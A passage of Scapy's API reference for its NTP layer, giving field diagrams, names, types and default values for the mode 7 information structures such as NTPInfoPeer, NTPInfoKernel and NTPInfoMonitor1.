|                              SENT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NOTSENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UPTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SCOPEID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IFINDEX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IFNUM                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PEERCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FAMILY            | IGNORE PACKETS|     ACTION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILLER0                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NTPInfoIfStatsIPv6                      


NTPInfoIfStatsIPv6 fields






	unaddr

	IP6Field

	'::'



	unbcast

	IP6Field

	'::'



	unmask

	IP6Field

	'::'



	v6_flag

	IntField

	0



	ifname

	StrFixedLenField

	b''



	flags

	IntField

	0



	last_ttl

	IntField

	0



	num_mcast

	IntField

	0



	received

	IntField

	0



	sent

	IntField

	0



	notsent

	IntField

	0



	uptime

	IntField

	0



	scopeid

	IntField

	0



	ifindex

	IntField

	0



	ifnum

	IntField

	0



	peercnt

	IntField

	0



	family

	ShortField

	0



	ignore_packets

	ByteField

	0



	action

	ByteField

	0



	_filler0

	IntField

	0















	
class scapy.layers.ntp.NTPInfoKernel(_pkt, /, *, offset=0, freq=0, maxerror=0, esterror=0, status=0, shift=0, constant=0, precision=0, tolerance=0, ppsfreq=0, jitter=0, stabil=0, jitcnt=0, calcnt=0, errcnt=0, stbcnt=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1304-L1327]

	Bases: Packet

Structure used for returning kernel pll/PPS information


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              FREQ                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MAXERROR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ESTERROR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |             SHIFT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CONSTANT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PRECISION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TOLERANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PPSFREQ                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             JITTER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STABIL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             JITCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ERRCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STBCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NTPInfoKernel                        


NTPInfoKernel fields






	offset

	IntField

	0



	freq

	IntField

	0



	maxerror

	IntField

	0



	esterror

	IntField

	0



	status

	ShortField

	0



	shift

	ShortField

	0



	constant

	IntField

	0



	precision

	IntField

	0



	tolerance

	IntField

	0



	ppsfreq

	IntField

	0



	jitter

	IntField

	0



	stabil

	IntField

	0



	jitcnt

	IntField

	0



	calcnt

	IntField

	0



	errcnt

	IntField

	0



	stbcnt

	IntField

	0















	
class scapy.layers.ntp.NTPInfoLoop(_pkt, /, *, last_offset=0, drift_comp=0, compliance=0, watchdog_timer=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1097-L1108]

	Bases: Packet

Loop filter variables.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          LAST OFFSET                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DRIFT COMP                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COMPLIANCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         WATCHDOG TIMER                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPInfoLoop                         


NTPInfoLoop fields






	last_offset

	TimeStampField  (64 bits)

	0



	drift_comp

	TimeStampField  (64 bits)

	0



	compliance

	IntField

	0



	watchdog_timer

	IntField

	0















	
class scapy.layers.ntp.NTPInfoMemStats(_pkt, /, *, timereset=0, totalpeermem=0, freepeermem=0, findpeer_calls=0, allocations=0, demobilizations=0, hashcount=[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1164-L1184]

	Bases: Packet

Peer memory statistics.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TOTALPEERMEM         |          FREEPEERMEM          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FINDPEER CALLS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ALLOCATIONS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        DEMOBILIZATIONS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           HASHCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoMemStats                       


NTPInfoMemStats fields






	timereset

	IntField

	0



	totalpeermem

	ShortField

	0



	freepeermem

	ShortField

	0



	findpeer_calls

	IntField

	0



	allocations

	IntField

	0



	demobilizations

	IntField

	0



	hashcount

	FieldListField

	[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]















	
class scapy.layers.ntp.NTPInfoMonitor1(_pkt, /, *, lasttime=0, firsttime=0, lastdrop=0, count=0, addr='0.0.0.0', daddr='0.0.0.0', flags=0, port=0, mode=0, version=0, v6_flag=0, unused1=0, addr6='::', daddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1390-L1411]

	Bases: Packet

Structure used for returning monitor data.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LASTTIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FIRSTTIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LASTDROP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COUNT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |      MODE     |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED1                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ADDR6                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DADDR6                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoMonitor1                       


NTPInfoMonitor1 fields






	lasttime

	IntField

	0



	firsttime

	IntField

	0



	lastdrop

	IntField

	0



	count

	IntField

	0



	addr

	IPField

	'0.0.0.0'



	daddr

	IPField

	'0.0.0.0'



	flags

	IntField

	0



	port

	ShortField

	0



	mode

	ByteField

	0



	version

	ByteField

	0



	v6_flag

	IntField

	0



	unused1

	IntField

	0



	addr6

	IP6Field

	'::'



	daddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoPeer(_pkt, /, *, dstaddr='0.0.0.0', srcaddr='0.0.0.0', srcport=0, flags=<Flag 0 ()>, leap=0, hmode=0, pmode=0, stratum=0, ppoll=0, hpoll=0, precision=0, version=0, unused8=0, reach=0, unreach=0, flash=0, ttl=0, flash2=0, associd=0, keyid=0, pkeyid=0, refid=0, timer=0, rootdelay=0, rootdispersion=0, reftime=0, org=0, rec=0, xmt=0, filtdelay=[0, 0, 0, 0, 0, 0, 0, 0], filtoffset=[0, 0, 0, 0, 0, 0, 0, 0], order=[0, 0, 0, 0, 0, 0, 0, 0], delay=0, dispersion=0, offset=0, selectdisp=0, unused1=0, unused2=0, unused3=0, unused4=0, unused5=0, unused6=0, unused7=0, estbdelay=0, v6_flag=0, unused9=0, dstaddr6='::', srcaddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L986-L1056]

	Bases: Packet

Peer information structure.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DSTADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRCADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCPORT            |     FLAGS     |      LEAP     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HMODE     |     PMODE     |    STRATUM    |     PPOLL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HPOLL     |   PRECISION   |    VERSION    |    UNUSED8    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REACH     |    UNREACH    |     FLASH     |      TTL      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLASH2            |            ASSOCID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEYID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PKEYID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REFID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TIMER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ROOTDELAY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ROOTDISPERSION                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFTIME                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ORG                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              REC                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XMT                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILTDELAY           |           FILTOFFSET          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ORDER             |             DELAY             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           DISPERSION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SELECTDISP          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED1            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED2            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED3            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED4            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED5            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED6            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED7            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ESTBDELAY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            V6 FLAG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UNUSED9            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DSTADDR6           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SRCADDR6           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPInfoPeer                         


NTPInfoPeer fields






	dstaddr

	IPField

	'0.0.0.0'



	srcaddr

	IPField

	'0.0.0.0'



	srcport

	ShortField

	0



	flags

	FlagsField

	<Flag 0 ()>



	leap

	ByteField

	0



	hmode

	ByteEnumField

	0



	pmode

	ByteField

	0



	stratum

	ByteField

	0



	ppoll

	ByteField

	0



	hpoll

	ByteField

	0



	precision

	SignedByteField

	0



	version

	ByteField

	0



	unused8

	ByteField

	0



	reach

	ByteField

	0



	unreach

	ByteField

	0



	flash

	XByteField

	0



	ttl

	ByteField

	0



	flash2

	XLEShortField

	0



	associd

	ShortField

	0



	keyid

	LEIntField

	0



	pkeyid

	IntField

	0



	refid

	IPField

	0



	timer

	IntField

	0



	rootdelay

	FixedPointField  (32 bits)

	0



	rootdispersion

	FixedPointField  (32 bits)

	0



	reftime

	TimeStampField  (64 bits)

	0



	org

	TimeStampField  (64 bits)

	0



	rec

	TimeStampField  (64 bits)

	0



	xmt

	TimeStampField  (64 bits)

	0



	filtdelay

	FieldListField

	[0, 0, 0, 0, 0, 0, 0, 0]



	filtoffset

	FieldListField

	[0, 0, 0, 0, 0, 0, 0, 0]



	order

	FieldListField

	[0, 0, 0, 0, 0, 0, 0, 0]



	delay

	FixedPointField  (32 bits)

	0



	dispersion

	FixedPointField  (32 bits)

	0



	offset

	TimeStampField  (64 bits)

	0



	selectdisp

	FixedPointField  (32 bits)

	0



	unused1

	IntField

	0



	unused2

	IntField

	0



	unused3

	IntField

	0



	unused4

	IntField

	0



	unused5

	IntField

	0



	unused6

	IntField

	0



	unused7

	IntField

	0



	estbdelay

	FixedPointField  (32 bits)

	0



	v6_flag

	IntField

	0



	unused9

	IntField

	0



	dstaddr6

	IP6Field

	'::'



	srcaddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoPeerList(_pkt, /, *, addr='0.0.0.0', port=0, hmode=0, flags=<Flag 0 ()>, v6_flag=0, unused1=0, addr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L944-L958]

	Bases: Packet

Used to return raw lists of peers.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |     HMODE     |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED1                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ADDR6                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoPeerList                       


NTPInfoPeerList fields






	addr

	IPField

	'0.0.0.0'



	port

	ShortField

	0



	hmode

	ByteEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	v6_flag

	IntField

	0



	unused1

	IntField

	0



	addr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoPeerStats(_pkt, /, *, dstaddr='0.0.0.0', srcaddr='0.0.0.0', srcport=0, flags=<Flag 0 ()>, timereset=0, timereceived=0, timetosend=0, timereachable=0, sent=0, unused1=0, processed=0, unused2=0, badauth=0, bogusorg=0, oldpkt=0, unused3=0, unused4=0, seldisp=0, selbroken=0, unused5=0, candidate=0, unused6=0, unused7=0, unused8=0, v6_flag=0, unused9=0, dstaddr6='::', srcaddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1059-L1094]

	Bases: Packet

Peer statistics structure.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DSTADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRCADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCPORT            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          TIMERECEIVED                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMETOSEND                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         TIMEREACHABLE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SENT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED1                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PROCESSED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED2                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BADAUTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BOGUSORG                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OLDPKT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED3                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED4                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SELDISP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SELBROKEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED5                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CANDIDATE   |    UNUSED6    |    UNUSED7    |    UNUSED8    |
